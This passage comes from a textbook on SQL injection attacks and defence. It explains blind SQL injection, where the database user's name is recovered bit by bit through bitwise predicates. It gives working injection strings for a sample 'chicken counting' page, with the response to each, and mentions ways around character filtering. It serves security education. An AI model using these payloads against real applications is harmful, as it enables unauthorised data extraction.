SQL Injection Attacks and Defense - 2009

Blind SQL Injection Exploitation • Chapter 5 233
Let’s examine a few Transact-SQL (T-SQL) predicates that return true when bit two of
the first character of the username is 1, and otherwise return false. A byte that has just the
second most significant bit set corresponds to hexadecimal 40 16
and decimal value 64 10
,
which is used in the following predicates:
ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 64 = 64
ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 64 > 0
ASCII(SUBSTRING(SYSTEM_USER,1,1)) | 64 >
ASCII(SUBSTRING(SYSTEM_USER,1,1))
ASCII(SUBSTRING(SYSTEM_USER,1,1)) ^ 64 <
ASCII(SUBSTRING(SYSTEM_USER,1,1))
Each of the predicates is equivalent, although they obviously have slightly different
syntax. The first two use bitwise AND and are useful because they reference only the first
character once, which shortens the injection string. A further advantage is that sometimes
the query that produces the character could be time-inefficient or have side effects on the
database, and we may not want to run it twice. The third and forth predicates use OR
and XOR, respectively, but require the byte to be retrieved twice, on both sides of the
operator. Their only advantage is in situations where the ampersand character is not allowed
due to restrictions placed in the vulnerable application or defensive layers protecting the
application. We now have a method by which we can ask the database whether a bit in
a given byte is 1 or 0; if the predicate returns true the bit is 1; otherwise, the bit is 0.
Returning to the chicken counting example, the SQL that will be executed to
extract the first bit of the first byte is:
SELECT COUNT(chick_id) FROM chickens WHERE status='Incubating' AND
ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 128=128--'
The SQL to return the second bit is:
SELECT COUNT(chick_id) FROM chickens WHERE status='Incubating' AND
ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 64=64--'
The SQL to return the third bit is:
SELECT COUNT(chick_id) FROM chickens WHERE status='Incubating' AND
ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 32=32--'
and so on, until all eight bits have been recovered. Converted into eight individual
requests made to the chicken counting page we have these values for the status parameter
along with the response when making the request:
status=Incubating' AND ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 128=128-- (False)
status=Incubating' AND ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 64=64-- (True)
status=Incubating' AND ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 32=32-- (True)
status=Incubating' AND ASCII(SUBSTRING(SYSTEM_USER,1,1)) & 16=16-- (True)